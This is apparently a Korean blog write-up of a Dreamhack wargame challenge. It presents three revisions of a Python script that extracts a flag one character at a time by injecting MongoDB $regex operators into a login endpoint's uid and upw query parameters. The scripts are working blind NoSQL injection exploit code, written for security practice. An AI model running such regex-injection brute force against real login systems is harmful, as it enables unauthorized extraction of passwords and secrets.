위의 문제를 앞서 풀어보았는데, 이전에 풀었던 링크는 아래와 같다.
https://studyforall.tistory.com/14
같은 문제를
- f스트링 쓰지 않기
- flag가 32자리라는 사실을 모른다고 가정하기
라는 두 조건을 추가하여 다시 풀어보았다.
import requests, string
HOST = "http://host3.dreamhack.games:*****/"
GET_FLAG = string.digits + string.ascii_letters
flag = ""
for i in range(32):
for ch in GET_FLAG:
response = requests.get(f"{HOST}login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}")
if response.text == "admin":
flag += ch
break
print("DH{" + flag + "}")
이전에 풀었던 익스플로잇 코드는 위와 같다.
import requests, string
HOST = "http://host3.dreamhack.games:*****/"
GET_FLAG = string.digits + string.ascii_letters
flag = ""
for i in range(32):
for ch in GET_FLAG:
response = requests.get(HOST + "login?uid[$regex]=ad.in&upw[$regex]=D.{{" + flag + ch)
if response.text == "admin":
flag += ch
break
print("DH{" + flag + "}")
우선 f스트링을 쓰지 않는다는 조건을 반영하여 위와 같이 response 값을 저장하는 부분의 코드를 수정했다. {}로 값을 입력하는 코드 대신 문자열을 합치는 + 연산자를 활용한 것이다.
import requests, string
HOST = "http://host3.dreamhack.games:*****/"
GET_FLAG = string.digits + string.ascii_letters + '}'
flag = ""
while True:
for ch in GET_FLAG:
response = requests.get(HOST + "login?uid[$regex]=ad.in&upw[$regex]=D.{{" + flag + ch)
if response.text == "admin":
flag += ch
break
print(flag)
if '}' in flag:
break
print("DH{" + flag)
플래그가 32자리인 것을 모른다고 가정하니 for문을 32번 반복하는 코드는 쓸 수가 없게 되었다. 대신 while문으로 무한루프를 만들어 플래그의 마지막 문자인 }가 flag 변수에 추가되면 반복문을 빠져나오도록 코드를 짰다. flag에 }가 잡혀야 하므로 GET_FLAG 변수에 }를 추가했다.
해당 파이썬 코드를 실행시켜보면 flag가 뜨는 것을 확인할 수 있다.
'드림핵' 카테고리의 다른 글
[드림핵 워게임] file-download-1 (0) | 2022.11.02 |
---|---|
[드림핵 워게임] image-storage (0) | 2022.11.02 |
[드림핵 워게임] Carve Party (1) | 2022.10.08 |
[드림핵 워게임] pathtraversal (1) | 2022.10.08 |
[드림핵 워게임] command injection-1 (1) | 2022.10.08 |